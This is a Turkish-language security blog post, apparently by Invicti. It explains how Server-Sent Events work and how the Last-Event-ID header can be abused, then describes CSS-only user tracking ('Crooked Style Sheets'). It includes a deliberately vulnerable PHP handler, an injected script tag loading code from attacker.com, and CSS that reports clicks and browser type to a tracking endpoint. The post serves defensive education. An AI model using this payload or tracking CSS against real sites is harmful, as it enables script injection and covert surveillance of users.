SSE ve SSE Güvenliği, CSS ile de Web Siteleri Hareketlerinizi Analiz Edebilir!

Invicti Security Team - 22 Ocak 2018 -

Web için mesajlaşma yöntemlerinin yeni üyesi Server-Sent Events (SSE) de dikkat edilmesi gerekenler. Web sitelerinde kullanıcı etkileşimini tracking ve analiz için yeni bir yöntem olan Crooked Style Sheets!

SSE ve SSE Güvenliği, CSS ile de Web Siteleri Hareketlerinizi Analiz Edebilir!

Server-Send Last-Event-Id: İçinizden Biri İhanet Edecek!

Web için pek çok mesajlaşma modelinden söz edebiliriz. En bilinen XHR'dan başlayarak, Cross Domain Messaging , WebSocket gibi.

XHR istekleri yenilenen istek ve yanıt paketleriyle pooling olarak bilinen bir işleyişi kullanır. Bu işleyişte, istemci ve sunucu arasındaki iletişimde daima bir talep ve cevap vardır.

Bilindiği üzere HTTP protokolü aktarım olarak TCP kullanır. Dolayısıyla her yeni istek-yanıt trafiğinde, üçlü el sıkışma, ardından iletilen her paketin doğrulanması, eksik paketlerin tekrar gönderilmesi gibi maliyetli işlemler yapılır. (Connection: keep-alive şimdilik bir istisna olarak şurada dursun.)

Dolayısıyla pooling mekanizması, her zaman efektif olmayabilir. Buna mukabil önerilen COMET ise, bambaşka bir metodoloji ile bu tekrarlanan bağlantı sorununu çözmeyi denemektedir. Nam-ı diğer Hanging GET (COMET) bir GET isteği yaparak bağlantıyı daima açık tutar, sadece yeni bir veri gönderildiğinde bağlantı kapatılır ve tekrar açılır.

Cross Domain Messaging ise, birbiriyle iletişime geçecek her iki kaynağın DOM olarak bir karşılığının olmasını beklemektedir. Oysa pek çok durumda geliştiricilerin buna ihtiyacı yoktur. Uzak bir sunucuya bağlanıp, data almak çoğunlukla kifayet etmektedir.

Peki ya WebSocket? Çift yönlü bir iletişim sağlayan WebSocket protokolü, HTTP'den çok farklı bir protokol önermektedir. İstem, mesaj ve el sıkışma gibi seremonik adımlar nedeniyle pür HTTP(!) diyen kitlenin adımlarını daha baştan geriletmektedir.

Fakat daha iyi bir yöntem var: Server-Sent Events (SSE). Bu sonuncu yöntem ile client, sunucu tarafındaki bir servise abone olarak (subscribe) bir akış halinde gelen her yeni datayı algılar ve bir olay tetikler.

Yöntemin spesifikasyondaki adı Server-Sent Event, ancak Javascript'deki EventSource nesnesininin initilization'u ile hikaye başladığından bu isimle anılmasında da bir problem yoktur.

 var source = new EventSource('stream.php');

EventSource nesnesinin abone olacağı servis URL'i relative olabileceği gibi, absolute URL de olabilir. Ancak bu durumda port ve şema eşleşmesi de mutlaka sağlanmalıdır.

stream.php'ye bağlanan ve bağlantıyı açık tutan browser artık her yeni datada kendisine atanan olayı tetiklemektedir.

source.addEventListener('message', function(e) {
    console.log(e.data);
}, false);

Peki ya bağlantı kesilirse? Elbette mümkün. Bu durumda varsayılan olarak 3 saniye içerisinde yeniden bağlanan istemci, kaldığı yerden akışı almaya devam eder. 3 saniye olarak tespit edilen varsayılan değeri sunucu değiştirebilir.

Kaldığı yerden mi? Evet! Bunun için öncelikle SSE ile istemciye döndürülen dataya bir göz atalım, yani Event Stream Format'a.

Browserın isteğine bir HTTP yanıt paketi ile cevap veren sunucu, bu yanıt paketinin Content-Type'ını text/event-stream olarak set eder. Devamında Server-send Event'ın veri formatı izler.

data: My message\n\n

Eğer döndürdüğünüz data uzun ise ve bu datanın tamamı ile sadece bir olay tetiklemek istiyorsanız:

data: first line\n
data: second line\n\n

Şeklinde kullanabilirsiniz.

Id: datası ile birlikte her satır için benzersiz bir ID değeri döndürebilirsiniz. İşte yukarıda zikrettiğimiz kaldığı yerden devam etmesinde kilit nokta burası. Bir bağlantı kesilmesi durumunda istemci, abonesi olduğu servise bir istek yaparak Last-Event-ID headerı ile en son aldığı datanın ID'sini gönderir.

GET /service.php HTTP/1.1
Cookie: ImportantOne:Important
Last-Event-ID: 3005
HTTP/1.1 200 OK
Content-Type: text/event-stream
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true

id: 3005
data: Stock-Price:20

Şöyle bir senaryoya ne dersiniz? Kullanıcıyı sizin kontrolünüzdeki bir siteye girmeye ikna ettiniz. Yine aynı browserda açık olan http://bitcoin.example adresine SSE ile bağlanıp güncel coin kurları alınıyor.

Şimdi burada yine küçük bir es verip, Same Origin Policy bilgilerimizi güncelleyelim. SOP'a göre farklı originlerdeki siteler birbirlerine XHR isteği yapabilir ama sonucu okuyamazlar. CORS mekanizması ile bunu kontrol edebilmek mümkün. Özellikle de custom bir header gönderilecekse bu istek preflight olarak işleniyor, yani sunucuya önce bir OPTIONS isteği yapılıp, mevzu bahis custom headera istek yapılmasına izin verip vermediğine dair onay alınıyor ve şayet izin veriliyorsa esas istek gönderiliyor. Ayrıntıları Same Origin Policy makalemizin CORS - Cross Origin Resource Sharing başlığından okuyabilirsiniz. Fakat burada karşımıza bir istisna çıkıyor: Last-Event-ID.

Last-Event-ID whitelist edilen headerlardan biri, dolayısıyla cross domain bir istekte, preflight istek yapılmaksızın doğrudan gönderebiliyorsunuz.

Devam edelim. Şimdi biliyorsunuz ki, http://bitcoin.example adresi ve sizin kontrolünüzdeki siteye aynı browserdan girildiği için, siz arkaplanda bitcoin.example'a bir istek yaparsanız CORS tarafından whitelist edilen Last-Event-ID headerı ile kullanıcının okuduğu veri akışını belirleyebileceksiniz. Daha da kötüsü dikkatsiz bir developer Last-Event-ID değerini alıp bir sorguda kullanıyor ya da doğrudan sayfa çıktısına ekliyor olabilir:

header("Content-Type: text/event-stream");

$lastId = $_SERVER["HTTP_LAST_EVENT_ID"];


while (true) {
    $data = db_query("users",intval($lastId));
    if ($data) {
        sendMessage($lastId, $data);
        $lastId++;
    }
    sleep(2);
}

function sendMessage($id, $data) {
    echo "id: $id\n";
    echo "data: $data\n\n";
    ob_flush();
    flush();
}

Sonuç olarak dönen yanıta doğrudan Last-Event-ID ekleniyor olabilir. Böylece enjekte edilen kod site konteksinde çalışacaktır:

HTTP/1.1 200 OK
Content-Type: text/event-stream
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true

id: <script src=//attacker.com/x.js></script>
data: injection

Ayrıntılar için lütfen tıklayınız.

Crooked Style Sheets

Javascript ile browser tespitinin çocuk oyuncağı sayıldığı günlerden geçiyoruz. NoScript gibi eklentiler de bunun için efektif çözümler sunuyor. Fakat browser davranışlarımız ve browserın kendisi CSS ile izlenirse?

Crooked Style Sheets başlığı ile yayınlanan araştırmaya göre CSS ile, JS'ye gerek olmadan analytics ve tracking işlemleri yapılabiliyor. Örneğin ekran çözünürlüğünün tespit edilmesi, ya da hangi browser engine'inin kullanıldığı tespit edilebiliyor.

Yine bir linkin tıklanıp tıklanmadığını ya da üzerindeki mouse hareketi algılanabiliyor.

Arkasında yatan çok basit bir mekanizma var. CSS'de harici bir kaynaktan resim yüklemesi yapabilir:

url("http://image.example.com")

Buradaki püf nokta şu ki, bu yükleme işlemi sadece ihtiyaç duyulduğunda gerçekleşiyor:

Örneğin kullanıcı bir linke tıkladığı zaman gerçekleşecek CSS:

#link2:active::after {
    content: url("track.php?action=link2_clicked");
}

Linke tıklandığında track.php 'ye istek yapılacağı için, linkin tıklandığına dair bir data bize ulaşmış olacak.

Örneğin kullanıcının tarayıcısını tespit edebilmek için aşağıdaki gibi bir CSS kullanılabilir:

@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
    #chrome_detect::after {
        content: url("track.php?action=browser_chrome");
    }
}

Peki bundan korunmak mümkün mü?

uMatrix gibi pluginler yordamıyla CSS 'i komple iptal edebilmeniz mümkün. Fakat bu gerçekçi bir çözüm değil takdir edersiniz ki. Ya da yine NoScript uMatrix gibi pluginler vasıtasıyla CSS'deki imajların ihtiyaç duyulduğunda değil sayfa açıldığında yüklenmesini sağlayabilirsiniz.

Araştırmanın ayrıntıları için lütfen tıklayınız.